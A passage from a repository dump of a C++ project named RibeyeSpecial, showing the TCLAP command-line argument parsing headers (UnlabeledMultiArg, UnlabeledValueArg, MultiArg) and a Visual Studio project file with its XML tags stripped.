Visitor* v = NULL ); 79 | /** 80 | * Constructor. 81 | * \param name - The name of the Arg. Note that this is used for 82 | * identification, not as a long flag. 83 | * \param desc - A description of what the argument is for or 84 | * does. 85 | * \param req - Whether the argument is required on the command 86 | * line. 87 | * \param typeDesc - A short, human readable description of the 88 | * type that this object expects. This is used in the generation 89 | * of the USAGE statement. The goal is to be helpful to the end user 90 | * of the program. 91 | * \param parser - A CmdLine parser object to add this Arg to 92 | * \param ignoreable - Whether or not this argument can be ignored 93 | * using the "--" flag. 94 | * \param v - An optional visitor. You probably should not 95 | * use this unless you have a very good reason. 96 | */ 97 | UnlabeledMultiArg( const std::string& name, 98 | const std::string& desc, 99 | bool req, 100 | const std::string& typeDesc, 101 | CmdLineInterface& parser, 102 | bool ignoreable = false, 103 | Visitor* v = NULL ); 104 | 105 | /** 106 | * Constructor. 107 | * \param name - The name of the Arg. Note that this is used for 108 | * identification, not as a long flag. 109 | * \param desc - A description of what the argument is for or 110 | * does. 111 | * \param req - Whether the argument is required on the command 112 | * line. 113 | * \param constraint - A pointer to a Constraint object used 114 | * to constrain this Arg. 115 | * \param ignoreable - Whether or not this argument can be ignored 116 | * using the "--" flag. 117 | * \param v - An optional visitor. You probably should not 118 | * use this unless you have a very good reason. 119 | */ 120 | UnlabeledMultiArg( const std::string& name, 121 | const std::string& desc, 122 | bool req, 123 | Constraint* constraint, 124 | bool ignoreable = false, 125 | Visitor* v = NULL ); 126 | 127 | /** 128 | * Constructor. 129 | * \param name - The name of the Arg. Note that this is used for 130 | * identification, not as a long flag. 131 | * \param desc - A description of what the argument is for or 132 | * does. 133 | * \param req - Whether the argument is required on the command 134 | * line. 135 | * \param constraint - A pointer to a Constraint object used 136 | * to constrain this Arg. 137 | * \param parser - A CmdLine parser object to add this Arg to 138 | * \param ignoreable - Whether or not this argument can be ignored 139 | * using the "--" flag. 140 | * \param v - An optional visitor. You probably should not 141 | * use this unless you have a very good reason. 142 | */ 143 | UnlabeledMultiArg( const std::string& name, 144 | const std::string& desc, 145 | bool req, 146 | Constraint* constraint, 147 | CmdLineInterface& parser, 148 | bool ignoreable = false, 149 | Visitor* v = NULL ); 150 | 151 | /** 152 | * Handles the processing of the argument. 153 | * This re-implements the Arg version of this method to set the 154 | * _value of the argument appropriately. It knows the difference 155 | * between labeled and unlabeled. 156 | * \param i - Pointer the the current argument in the list. 157 | * \param args - Mutable list of strings. Passed from main(). 158 | */ 159 | virtual bool processArg(int* i, std::vector& args); 160 | 161 | /** 162 | * Returns the a short id string. Used in the usage. 163 | * \param val - value to be used. 164 | */ 165 | virtual std::string shortID(const std::string& val="val") const; 166 | 167 | /** 168 | * Returns the a long id string. Used in the usage. 169 | * \param val - value to be used. 170 | */ 171 | virtual std::string longID(const std::string& val="val") const; 172 | 173 | /** 174 | * Operator ==. 175 | * \param a - The Arg to be compared to this. 176 | */ 177 | virtual bool operator==(const Arg& a) const; 178 | 179 | /** 180 | * Pushes this to back of list rather than front. 181 | * \param argList - The list this should be added to. 182 | */ 183 | virtual void addToList( std::list& argList ) const; 184 | }; 185 | 186 | template 187 | UnlabeledMultiArg::UnlabeledMultiArg(const std::string& name, 188 | const std::string& desc, 189 | bool req, 190 | const std::string& typeDesc, 191 | bool ignoreable, 192 | Visitor* v) 193 | : MultiArg("", name, desc, req, typeDesc, v) 194 | { 195 | _ignoreable = ignoreable; 196 | OptionalUnlabeledTracker::check(true, toString()); 197 | } 198 | 199 | template 200 | UnlabeledMultiArg::UnlabeledMultiArg(const std::string& name, 201 | const std::string& desc, 202 | bool req, 203 | const std::string& typeDesc, 204 | CmdLineInterface& parser, 205 | bool ignoreable, 206 | Visitor* v) 207 | : MultiArg("", name, desc, req, typeDesc, v) 208 | { 209 | _ignoreable = ignoreable; 210 | OptionalUnlabeledTracker::check(true, toString()); 211 | parser.add( this ); 212 | } 213 | 214 | 215 | template 216 | UnlabeledMultiArg::UnlabeledMultiArg(const std::string& name, 217 | const std::string& desc, 218 | bool req, 219 | Constraint* constraint, 220 | bool ignoreable, 221 | Visitor* v) 222 | : MultiArg("", name, desc, req, constraint, v) 223 | { 224 | _ignoreable = ignoreable; 225 | OptionalUnlabeledTracker::check(true, toString()); 226 | } 227 | 228 | template 229 | UnlabeledMultiArg::UnlabeledMultiArg(const std::string& name, 230 | const std::string& desc, 231 | bool req, 232 | Constraint* constraint, 233 | CmdLineInterface& parser, 234 | bool ignoreable, 235 | Visitor* v) 236 | : MultiArg("", name, desc, req, constraint, v) 237 | { 238 | _ignoreable = ignoreable; 239 | OptionalUnlabeledTracker::check(true, toString()); 240 | parser.add( this ); 241 | } 242 | 243 | 244 | template 245 | bool UnlabeledMultiArg::processArg(int *i, std::vector& args) 246 | { 247 | 248 | if ( _hasBlanks( args[*i] ) ) 249 | return false; 250 | 251 | // never ignore an unlabeled multi arg 252 | 253 | 254 | // always take the first value, regardless of the start string 255 | _extractValue( args[(*i)] ); 256 | 257 | /* 258 | // continue taking args until we hit the end or a start string 259 | while ( (unsigned int)(*i)+1 < args.size() && 260 | args[(*i)+1].find_first_of( Arg::flagStartString() ) != 0 && 261 | args[(*i)+1].find_first_of( Arg::nameStartString() ) != 0 ) 262 | _extractValue( args[++(*i)] ); 263 | */ 264 | 265 | _alreadySet = true; 266 | 267 | return true; 268 | } 269 | 270 | template 271 | std::string UnlabeledMultiArg::shortID(const std::string& val) const 272 | { 273 | static_cast(val); // Ignore input, don't warn 274 | return std::string("<") + _typeDesc + "> ..."; 275 | } 276 | 277 | template 278 | std::string UnlabeledMultiArg::longID(const std::string& val) const 279 | { 280 | static_cast(val); // Ignore input, don't warn 281 | return std::string("<") + _typeDesc + "> (accepted multiple times)"; 282 | } 283 | 284 | template 285 | bool UnlabeledMultiArg::operator==(const Arg& a) const 286 | { 287 | if ( _name == a.getName() || _description == a.getDescription() ) 288 | return true; 289 | else 290 | return false; 291 | } 292 | 293 | template 294 | void UnlabeledMultiArg::addToList( std::list& argList ) const 295 | { 296 | argList.push_back( const_cast(static_cast(this)) ); 297 | } 298 | 299 | } 300 | 301 | #endif 302 | -------------------------------------------------------------------------------- /RibeyeSpecial/RibeyeSpecial.vcxproj: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | Debug 6 | Win32 7 | 8 | 9 | Release 10 | Win32 11 | 12 | 13 | Debug 14 | x64 15 | 16 | 17 | Release 18 | x64 19 | 20 | 21 | 22 | 15.0 23 | {51CD07CB-FF99-464A-8B6A-B33C4DED0B22} 24 | Win32Proj 25 | RibeyeSpecial 26 | 10.0 27 | 28 | 29 | 30 | Application 31 | true 32 | v142 33 | Unicode 34 | 35 | 36 | Application 37 | false 38 | v142 39 | true 40 | Unicode 41 | 42 | 43 | Application 44 | true 45 | v142 46 | Unicode 47 | 48 | 49 | Application 50 | false 51 | v142 52 | true 53 | Unicode 54 | 55 | 56 | 57 | 58 | 59 | 60 | 61 | 62 | 63 | 64 | 65 | 66 | 67 | 68 | 69 | 70 | 71 | 72 | 73 | 74 | true 75 | $(IncludePath) 76 | $(ProjectDir);$(LibraryPath) 77 | $(SolutionDir)\Releases 78 | $(Platform)\$(Configuration)\ 79 | 80 | 81 | true 82 | $(SolutionDir)\Releases 83 | $(Platform)\$(Configuration)\ 84 | 85 | 86 | false 87 | $(SolutionDir)\Releases 88 | $(Platform)\$(Configuration)\ 89 | 90 | 91 | false 92 | $(SolutionDir)\Releases 93 | $(Platform)\$(Configuration)\ 94 | 95 | 96 | 97 | NotUsing 98 | Level3 99 | Disabled 100 | true 101 | WIN32;_DEBUG;_CONSOLE;%(PreprocessorDefinitions) 102 | true 103 | pch.h 104 | MultiThreadedDebug 105 | $(ProjectDir) 106 | None 107 | 108 | 109 | Console 110 | true 111 | %(AdditionalDependencies) 112 | 113 | 114 | 115 | 116 | NotUsing 117 | Level3 118 | Disabled 119 | true 120 | _DEBUG;_CONSOLE;%(PreprocessorDefinitions) 121 | true 122 | pch.h 123 | MultiThreadedDebug 124 | None 125 | 126 | 127 | Console 128 | true 129 | 130 | 131 | 132 | 133 | NotUsing 134 | Level3 135 | MaxSpeed 136 | true 137 | true 138 | true 139 | WIN32;NDEBUG;_CONSOLE;%(PreprocessorDefinitions) 140 | true 141 | pch.h 142 | MultiThreaded 143 | None 144 | 145 | 146 | Console 147 | true 148 | true 149 | true 150 | 151 | 152 | 153 | 154 | NotUsing 155 | Level3 156 | MaxSpeed 157 | true 158 | true 159 | true 160 | NDEBUG;_CONSOLE;%(PreprocessorDefinitions) 161 | true 162 | pch.h 163 | MultiThreaded 164 | None 165 | 166 | 167 | Console 168 | true 169 | true 170 | true 171 | 172 | 173 | 174 | 175 | 176 | 177 | 178 | 179 | 180 | 181 | 182 | 183 | 184 | 185 | 186 | 187 | 188 | 189 | 190 | 191 | 192 | 193 | 194 | 195 | 196 | 197 | 198 | 199 | 200 | 201 | 202 | 203 | 204 | 205 | 206 | 207 | 208 | 209 | -------------------------------------------------------------------------------- /RibeyeSpecial/tclap/UnlabeledValueArg.h: -------------------------------------------------------------------------------- 1 | 2 | /****************************************************************************** 3 | * 4 | * file: UnlabeledValueArg.h 5 | * 6 | * Copyright (c) 2003, Michael E. Smoot . 7 | * Copyright (c) 2004, Michael E. Smoot, Daniel Aarno. 8 | * All rights reserved. 9 | * 10 | * See the file COPYING in the top directory of this distribution for 11 | * more information. 12 | * 13 | * THE SOFTWARE IS PROVIDED _AS IS_, WITHOUT WARRANTY OF ANY KIND, EXPRESS 14 | * OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, 15 | * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL 16 | * THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER 17 | * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING 18 | * FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER 19 | * DEALINGS IN THE SOFTWARE. 20 | * 21 | *****************************************************************************/ 22 | 23 | 24 | #ifndef TCLAP_UNLABELED_VALUE_ARGUMENT_H 25 | #define TCLAP_UNLABELED_VALUE_ARGUMENT_H 26 | 27 | #include 28 | #include 29 | 30 | #include "ValueArg.h" 31 | #include "OptionalUnlabeledTracker.h" 32 | 33 | 34 | namespace TCLAP { 35 | 36 | /** 37 | * The basic unlabeled argument that parses a value. 38 | * This is a template class, which means the type T defines the type 39 | * that a given object will attempt to parse when an UnlabeledValueArg 40 | * is reached in the list of args that the CmdLine iterates over. 41 | */ 42 | template 43 | class UnlabeledValueArg : public ValueArg 44 | { 45 | 46 | // If compiler has two stage name lookup (as gcc >= 3.4 does) 47 | // this is required to prevent undef. symbols 48 | using ValueArg::_ignoreable; 49 | using ValueArg::_hasBlanks; 50 | using ValueArg::_extractValue; 51 | using ValueArg::_typeDesc; 52 | using ValueArg::_name; 53 | using ValueArg::_description; 54 | using ValueArg::_alreadySet; 55 | using ValueArg::toString; 56 | 57 | public: 58 | 59 | /** 60 | * UnlabeledValueArg constructor. 61 | * \param name - A one word name for the argument. Note that this is used for 62 | * identification, not as a long flag. 63 | * \param desc - A description of what the argument is for or 64 | * does. 65 | * \param req - Whether the argument is required on the command 66 | * line. 67 | * \param value - The default value assigned to this argument if it 68 | * is not present on the command line. 69 | * \param typeDesc - A short, human readable description of the 70 | * type that this object expects. This is used in the generation 71 | * of the USAGE statement. The goal is to be helpful to the end user 72 | * of the program. 73 | * \param ignoreable - Allows you to specify that this argument can be 74 | * ignored if the '--' flag is set. This defaults to false (cannot 75 | * be ignored) and should generally stay that way unless you have 76 | * some special need for certain arguments to be ignored. 77 | * \param v - Optional Visitor. You should leave this blank unless 78 | * you have a very good reason. 79 | */ 80 | UnlabeledValueArg( const std::string& name, 81 | const std::string& desc, 82 | bool req, 83 | T value, 84 | const std::string& typeDesc, 85 | bool ignoreable = false, 86 | Visitor* v = NULL); 87 | 88 | /** 89 | * UnlabeledValueArg constructor. 90 | * \param name - A one word name for the argument. Note that this is used for 91 | * identification, not as a long flag. 92 | * \param desc - A description of what the argument is for or 93 | * does. 94 | * \param req - Whether the argument is required on the command 95 | * line. 96 | * \param value - The default value assigned to this argument if it 97 | * is not present on the command line. 98 | * \param typeDesc - A short, human readable description of the 99 | * type that this object expects. This is used in the generation 100 | * of the USAGE statement. The goal is to be helpful to the end user 101 | * of the program. 102 | * \param parser - A CmdLine parser object to add this Arg to 103 | * \param ignoreable - Allows you to specify that this argument can be 104 | * ignored if the '--' flag is set. This defaults to false (cannot 105 | * be ignored) and should generally stay that way unless you have 106 | * some special need for certain arguments to be ignored. 107 | * \param v - Optional Visitor. You should leave this blank unless 108 | * you have a very good reason. 109 | */ 110 | UnlabeledValueArg( const std::string& name, 111 | const std::string& desc, 112 | bool req, 113 | T value, 114 | const std::string& typeDesc, 115 | CmdLineInterface& parser, 116 | bool ignoreable = false, 117 | Visitor* v = NULL ); 118 | 119 | /** 120 | * UnlabeledValueArg constructor. 121 | * \param name - A one word name for the argument. Note that this is used for 122 | * identification, not as a long flag. 123 | * \param desc - A description of what the argument is for or 124 | * does. 125 | * \param req - Whether the argument is required on the command 126 | * line. 127 | * \param value - The default value assigned to this argument if it 128 | * is not present on the command line. 129 | * \param constraint - A pointer to a Constraint object used 130 | * to constrain this Arg. 131 | * \param ignoreable - Allows you to specify that this argument can be 132 | * ignored if the '--' flag is set. This defaults to false (cannot 133 | * be ignored) and should generally stay that way unless you have 134 | * some special need for certain arguments to be ignored. 135 | * \param v - Optional Visitor. You should leave this blank unless 136 | * you have a very good reason. 137 | */ 138 | UnlabeledValueArg( const std::string& name, 139 | const std::string& desc, 140 | bool req, 141 | T value, 142 | Constraint* constraint, 143 | bool ignoreable = false, 144 | Visitor* v = NULL ); 145 | 146 | 147 | /** 148 | * UnlabeledValueArg constructor. 149 | * \param name - A one word name for the argument. Note that this is used for 150 | * identification, not as a long flag. 151 | * \param desc - A description of what the argument is for or 152 | * does. 153 | * \param req - Whether the argument is required on the command 154 | * line. 155 | * \param value - The default value assigned to this argument if it 156 | * is not present on the command line. 157 | * \param constraint - A pointer to a Constraint object used 158 | * to constrain this Arg. 159 | * \param parser - A CmdLine parser object to add this Arg to 160 | * \param ignoreable - Allows you to specify that this argument can be 161 | * ignored if the '--' flag is set. This defaults to false (cannot 162 | * be ignored) and should generally stay that way unless you have 163 | * some special need for certain arguments to be ignored. 164 | * \param v - Optional Visitor. You should leave this blank unless 165 | * you have a very good reason. 166 | */ 167 | UnlabeledValueArg( const std::string& name, 168 | const std::string& desc, 169 | bool req, 170 | T value, 171 | Constraint* constraint, 172 | CmdLineInterface& parser, 173 | bool ignoreable = false, 174 | Visitor* v = NULL); 175 | 176 | /** 177 | * Handles the processing of the argument. 178 | * This re-implements the Arg version of this method to set the 179 | * _value of the argument appropriately. Handling specific to 180 | * unlabeled arguments. 181 | * \param i - Pointer the the current argument in the list. 182 | * \param args - Mutable list of strings. 183 | */ 184 | virtual bool processArg(int* i, std::vector& args); 185 | 186 | /** 187 | * Overrides shortID for specific behavior. 188 | */ 189 | virtual std::string shortID(const std::string& val="val") const; 190 | 191 | /** 192 | * Overrides longID for specific behavior. 193 | */ 194 | virtual std::string longID(const std::string& val="val") const; 195 | 196 | /** 197 | * Overrides operator== for specific behavior. 198 | */ 199 | virtual bool operator==(const Arg& a ) const; 200 | 201 | /** 202 | * Instead of pushing to the front of list, push to the back. 203 | * \param argList - The list to add this to. 204 | */ 205 | virtual void addToList( std::list& argList ) const; 206 | 207 | }; 208 | 209 | /** 210 | * Constructor implementation. 211 | */ 212 | template 213 | UnlabeledValueArg::UnlabeledValueArg(const std::string& name, 214 | const std::string& desc, 215 | bool req, 216 | T val, 217 | const std::string& typeDesc, 218 | bool ignoreable, 219 | Visitor* v) 220 | : ValueArg("", name, desc, req, val, typeDesc, v) 221 | { 222 | _ignoreable = ignoreable; 223 | 224 | OptionalUnlabeledTracker::check(req, toString()); 225 | 226 | } 227 | 228 | template 229 | UnlabeledValueArg::UnlabeledValueArg(const std::string& name, 230 | const std::string& desc, 231 | bool req, 232 | T val, 233 | const std::string& typeDesc, 234 | CmdLineInterface& parser, 235 | bool ignoreable, 236 | Visitor* v) 237 | : ValueArg("", name, desc, req, val, typeDesc, v) 238 | { 239 | _ignoreable = ignoreable; 240 | OptionalUnlabeledTracker::check(req, toString()); 241 | parser.add( this ); 242 | } 243 | 244 | /** 245 | * Constructor implementation. 246 | */ 247 | template 248 | UnlabeledValueArg::UnlabeledValueArg(const std::string& name, 249 | const std::string& desc, 250 | bool req, 251 | T val, 252 | Constraint* constraint, 253 | bool ignoreable, 254 | Visitor* v) 255 | : ValueArg("", name, desc, req, val, constraint, v) 256 | { 257 | _ignoreable = ignoreable; 258 | OptionalUnlabeledTracker::check(req, toString()); 259 | } 260 | 261 | template 262 | UnlabeledValueArg::UnlabeledValueArg(const std::string& name, 263 | const std::string& desc, 264 | bool req, 265 | T val, 266 | Constraint* constraint, 267 | CmdLineInterface& parser, 268 | bool ignoreable, 269 | Visitor* v) 270 | : ValueArg("", name, desc, req, val, constraint, v) 271 | { 272 | _ignoreable = ignoreable; 273 | OptionalUnlabeledTracker::check(req, toString()); 274 | parser.add( this ); 275 | } 276 | 277 | /** 278 | * Implementation of processArg(). 279 | */ 280 | template 281 | bool UnlabeledValueArg::processArg(int *i, std::vector& args) 282 | { 283 | 284 | if ( _alreadySet ) 285 | return false; 286 | 287 | if ( _hasBlanks( args[*i] ) ) 288 | return false; 289 | 290 | // never ignore an unlabeled arg 291 | 292 | _extractValue( args[*i] ); 293 | _alreadySet = true; 294 | return true; 295 | } 296 | 297 | /** 298 | * Overriding shortID for specific output. 299 | */ 300 | template 301 | std::string UnlabeledValueArg::shortID(const std::string& val) const 302 | { 303 | static_cast(val); // Ignore input, don't warn 304 | return std::string("<") + _typeDesc + ">"; 305 | } 306 | 307 | /** 308 | * Overriding longID for specific output. 309 | */ 310 | template 311 | std::string UnlabeledValueArg::longID(const std::string& val) const 312 | { 313 | static_cast(val); // Ignore input, don't warn 314 | 315 | // Ideally we would like to be able to use RTTI to return the name 316 | // of the type required for this argument. However, g++ at least, 317 | // doesn't appear to return terribly useful "names" of the types. 318 | return std::string("<") + _typeDesc + ">"; 319 | } 320 | 321 | /** 322 | * Overriding operator== for specific behavior. 323 | */ 324 | template 325 | bool UnlabeledValueArg::operator==(const Arg& a ) const 326 | { 327 | if ( _name == a.getName() || _description == a.getDescription() ) 328 | return true; 329 | else 330 | return false; 331 | } 332 | 333 | template 334 | void UnlabeledValueArg::addToList( std::list& argList ) const 335 | { 336 | argList.push_back( const_cast(static_cast(this)) ); 337 | } 338 | 339 | } 340 | #endif 341 | -------------------------------------------------------------------------------- /RibeyeSpecial/tclap/MultiArg.h: -------------------------------------------------------------------------------- 1 | /****************************************************************************** 2 | * 3 | * file: MultiArg.h 4 | * 5 | * Copyright (c) 2003, Michael E. Smoot . 6 | * Copyright (c) 2004, Michael E. Smoot, Daniel Aarno. 7 | * All rights reserved. 8 | * 9 | * See the file COPYING in the top directory of this distribution for 10 | * more information. 11 | * 12 | * THE SOFTWARE IS PROVIDED _AS IS_, WITHOUT WARRANTY OF ANY KIND, EXPRESS 13 | * OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, 14 | * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL 15 | * THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER 16 | * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING 17 | * FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER 18 | * DEALINGS IN THE SOFTWARE. 19 | * 20 | *****************************************************************************/ 21 | 22 | 23 | #ifndef TCLAP_MULTIPLE_ARGUMENT_H 24 | #define TCLAP_MULTIPLE_ARGUMENT_H 25 | 26 | #include 27 | #include 28 | 29 | #include "Arg.h" 30 | #include "Constraint.h" 31 | 32 | namespace TCLAP { 33 | /** 34 | * An argument that allows multiple values of type T to be specified. Very 35 | * similar to a ValueArg, except a vector of values will be returned 36 | * instead of just one. 37 | */ 38 | template 39 | class MultiArg : public Arg 40 | { 41 | public: 42 | typedef std::vector container_type; 43 | typedef typename container_type::iterator iterator; 44 | typedef typename container_type::const_iterator const_iterator; 45 | 46 | protected: 47 | 48 | /** 49 | * The list of values parsed from the CmdLine. 50 | */ 51 | std::vector _values; 52 | 53 | /** 54 | * The description of type T to be used in the usage. 55 | */ 56 | std::string _typeDesc; 57 | 58 | /** 59 | * A list of constraint on this Arg. 60 | */ 61 | Constraint* _constraint; 62 | 63 | /** 64 | * Extracts the value from the string. 65 | * Attempts to parse string as type T, if this fails an exception 66 | * is thrown. 67 | * \param val - The string to be read. 68 | */ 69 | void _extractValue( const std::string& val ); 70 | 71 | /** 72 | * Used by XorHandler to decide whether to keep parsing for this arg. 73 | */ 74 | bool _allowMore; 75 | 76 | public: 77 | 78 | /** 79 | * Constructor. 80 | * \param flag - The one character flag that identifies this 81 | * argument on the command line. 82 | * \param name - A one word name for the argument. Can be 83 | * used as a long flag on the command line. 84 | * \param desc - A description of what the argument is for or 85 | * does. 86 | * \param req - Whether the argument is required on the command 87 | * line. 88 | * \param typeDesc - A short, human readable description of the 89 | * type that this object expects. This is used in the generation 90 | * of the USAGE statement. The goal is to be helpful to the end user 91 | * of the program. 92 | * \param v - An optional visitor. You probably should not 93 | * use this unless you have a very good reason. 94 | */ 95 | MultiArg( const std::string& flag, 96 | const std::string& name, 97 | const std::string& desc, 98 | bool req, 99 | const std::string& typeDesc, 100 | Visitor* v = NULL); 101 | 102 | /** 103 | * Constructor. 104 | * \param flag - The one character flag that identifies this 105 | * argument on the command line. 106 | * \param name - A one word name for the argument. Can be 107 | * used as a long flag on the command line. 108 | * \param desc - A description of what the argument is for or 109 | * does. 110 | * \param req - Whether the argument is required on the command 111 | * line. 112 | * \param typeDesc - A short, human readable description of the 113 | * type that this object expects. This is used in the generation 114 | * of the USAGE statement. The goal is to be helpful to the end user 115 | * of the program. 116 | * \param parser - A CmdLine parser object to add this Arg to 117 | * \param v - An optional visitor. You probably should not 118 | * use this unless you have a very good reason. 119 | */ 120 | MultiArg( const std::string& flag, 121 | const std::string& name, 122 | const std::string& desc, 123 | bool req, 124 | const std::string& typeDesc, 125 | CmdLineInterface& parser, 126 | Visitor* v = NULL ); 127 | 128 | /** 129 | * Constructor. 130 | * \param flag - The one character flag that identifies this 131 | * argument on the command line. 132 | * \param name - A one word name for the argument. Can be 133 | * used as a long flag on the command line. 134 | * \param desc - A description of what the argument is for or 135 | * does. 136 | * \param req - Whether the argument is required on the command 137 | * line. 138 | * \param constraint - A pointer to a Constraint object used 139 | * to constrain this Arg. 140 | * \param v - An optional visitor. You probably should not 141 | * use this unless you have a very good reason. 142 | */ 143 | MultiArg( const std::string& flag, 144 | const std::string& name, 145 | const std::string& desc, 146 | bool req, 147 | Constraint* constraint, 148 | Visitor* v = NULL ); 149 | 150 | /** 151 | * Constructor. 152 | * \param flag - The one character flag that identifies this 153 | * argument on the command line. 154 | * \param name - A one word name for the argument. Can be 155 | * used as a long flag on the command line. 156 | * \param desc - A description of what the argument is for or 157 | * does. 158 | * \param req - Whether the argument is required on the command 159 | * line. 160 | * \param constraint - A pointer to a Constraint object used 161 | * to constrain this Arg. 162 | * \param parser - A CmdLine parser object to add this Arg to 163 | * \param v - An optional visitor. You probably should not 164 | * use this unless you have a very good reason. 165 | */ 166 | MultiArg( const std::string& flag, 167 | const std::string& name, 168 | const std::string& desc, 169 | bool req, 170 | Constraint* constraint, 171 | CmdLineInterface& parser, 172 | Visitor* v = NULL ); 173 | 174 | /** 175 | * Handles the processing of the argument. 176 | * This re-implements the Arg version of this method to set the 177 | * _value of the argument appropriately. It knows the difference 178 | * between labeled and unlabeled. 179 | * \param i - Pointer the the current argument in the list. 180 | * \param args - Mutable list of strings. Passed from main(). 181 | */ 182 | virtual bool processArg(int* i, std::vector& args); 183 | 184 | /** 185 | * Returns a vector of type T containing the values parsed from 186 | * the command line. 187 | */ 188 | const std::vector& getValue(); 189 | 190 | /** 191 | * Returns an iterator over the values parsed from the command 192 | * line. 193 | */ 194 | const_iterator begin() const { return _values.begin(); } 195 | 196 | /** 197 | * Returns the end of the values parsed from the command 198 | * line. 199 | */ 200 | const_iterator end() const { return _values.end(); } 201 | 202 | /** 203 | * Returns the a short id string. Used in the usage. 204 | * \param val - value to be used. 205 | */ 206 | virtual std::string shortID(const std::string& val="val") const; 207 | 208 | /** 209 | * Returns the a long id string. Used in the usage. 210 | * \param val - value to be used. 211 | */ 212 | virtual std::string longID(const std::string& val="val") const; 213 | 214 | /** 215 | * Once we've matched the first value, then the arg is no longer 216 | * required. 217 | */ 218 | virtual bool isRequired() const; 219 | 220 | virtual bool allowMore(); 221 | 222 | virtual void reset(); 223 | 224 | private: 225 | /** 226 | * Prevent accidental copying 227 | */ 228 | MultiArg(const MultiArg& rhs); 229 | MultiArg& operator=(const MultiArg& rhs); 230 | 231 | }; 232 | 233 | template 234 | MultiArg::MultiArg(const std::string& flag, 235 | const std::string& name, 236 | const std::string& desc, 237 | bool req, 238 | const std::string& typeDesc, 239 | Visitor* v) : 240 | Arg( flag, name, desc, req, true, v ), 241 | _values(std::vector()), 242 | _typeDesc( typeDesc ), 243 | _constraint( NULL ), 244 | _allowMore(false) 245 | { 246 | _acceptsMultipleValues = true; 247 | } 248 | 249 | template 250 | MultiArg::MultiArg(const std::string& flag, 251 | const std::string& name, 252 | const std::string& desc, 253 | bool req, 254 | const std::string& typeDesc, 255 | CmdLineInterface& parser, 256 | Visitor* v) 257 | : Arg( flag, name, desc, req, true, v ), 258 | _values(std::vector()), 259 | _typeDesc( typeDesc ), 260 | _constraint( NULL ), 261 | _allowMore(false) 262 | { 263 | parser.add( this ); 264 | _acceptsMultipleValues = true; 265 | } 266 | 267 | /** 268 | * 269 | */ 270 | template 271 | MultiArg::MultiArg(const std::string& flag, 272 | const std::string& name, 273 | const std::string& desc, 274 | bool req, 275 | Constraint* constraint, 276 | Visitor* v) 277 | : Arg( flag, name, desc, req, true, v ), 278 | _values(std::vector()), 279 | _typeDesc( constraint->shortID() ), 280 | _constraint( constraint ), 281 | _allowMore(false) 282 | { 283 | _acceptsMultipleValues = true; 284 | } 285 | 286 | template 287 | MultiArg::MultiArg(const std::string& flag, 288 | const std::string& name, 289 | const std::string& desc, 290 | bool req, 291 | Constraint* constraint, 292 | CmdLineInterface& parser, 293 | Visitor* v) 294 | : Arg( flag, name, desc, req, true, v ), 295 | _values(std::vector()), 296 | _typeDesc( constraint->shortID() ), 297 | _constraint( constraint ), 298 | _allowMore(false) 299 | { 300 | parser.add( this ); 301 | _acceptsMultipleValues = true; 302 | } 303 | 304 | template 305 | const std::vector& MultiArg::getValue() { return _values; } 306 | 307 | template 308 | bool MultiArg::processArg(int *i, std::vector& args) 309 | { 310 | if ( _ignoreable && Arg::ignoreRest() ) 311 | return false; 312 | 313 | if ( _hasBlanks( args[*i] ) ) 314 | return false; 315 | 316 | std::string flag = args[*i]; 317 | std::string value = ""; 318 | 319 | trimFlag( flag, value ); 320 | 321 | if ( argMatches( flag ) ) 322 | { 323 | if ( Arg::delimiter() != ' ' && value == "" ) 324 | throw( ArgParseException( 325 | "Couldn't find delimiter for this argument!", 326 | toString() ) ); 327 | 328 | // always take the first one, regardless of start string 329 | if ( value == "" ) 330 | { 331 | (*i)++; 332 | if ( static_cast(*i) < args.size() ) 333 | _extractValue( args[*i] ); 334 | else 335 | throw( ArgParseException("Missing a value for this argument!", 336 | toString() ) ); 337 | } 338 | else 339 | _extractValue( value ); 340 | 341 | /* 342 | // continuing taking the args until we hit one with a start string 343 | while ( (unsigned int)(*i)+1 < args.size() && 344 | args[(*i)+1].find_first_of( Arg::flagStartString() ) != 0 && 345 | args[(*i)+1].find_first_of( Arg::nameStartString() ) != 0 ) 346 | _extractValue( args[++(*i)] ); 347 | */ 348 | 349 | _alreadySet = true; 350 | _checkWithVisitor(); 351 | 352 | return true; 353 | } 354 | else 355 | return false; 356 | } 357 | 358 | /** 359 | * 360 | */ 361 | template 362 | std::string MultiArg::shortID(const std::string& val) const 363 | { 364 | static_cast(val); // Ignore input, don't warn 365 | return Arg::shortID(_typeDesc) + " ... "; 366 | } 367 | 368 | /** 369 | * 370 | */ 371 | template 372 | std::string MultiArg::longID(const std::string& val) const 373 | { 374 | static_cast(val); // Ignore input, don't warn 375 | return Arg::longID(_typeDesc) + " (accepted multiple times)"; 376 | } 377 | 378 | /** 379 | * Once we've matched the first value, then the arg is no longer 380 | * required. 381 | */ 382 | template 383 | bool MultiArg::isRequired() const 384 | { 385 | if ( _required ) 386 | { 387 | if ( _values.size() > 1 ) 388 | return false; 389 | else 390 | return true; 391 | } 392 | else 393 | return false; 394 | 395 | } 396 | 397 | template 398 | void MultiArg::_extractValue( const std::string& val ) 399 | { 400 | try { 401 | T tmp; 402 | ExtractValue(tmp, val, typename ArgTraits::ValueCategory()); 403 | _values.push_back(tmp); 404 | } catch( ArgParseException &e) { 405 | throw ArgParseException(e.error(), toString()); 406 | } 407 | 408 | if ( _constraint != NULL ) 409 | if ( ! _constraint->check( _values.back() ) ) 410 | throw( CmdLineParseException( "Value '" + val + 411 | "' does not meet constraint: " + 412 | _constraint->description(), 413 | toString() ) ); 414 | } 415 | 416 | template 417 | bool MultiArg::allowMore() 418 | { 419 | bool am = _allowMore; 420 | _allowMore = true; 421 | return am; 422 | } 423 | 424 | template 425 | void 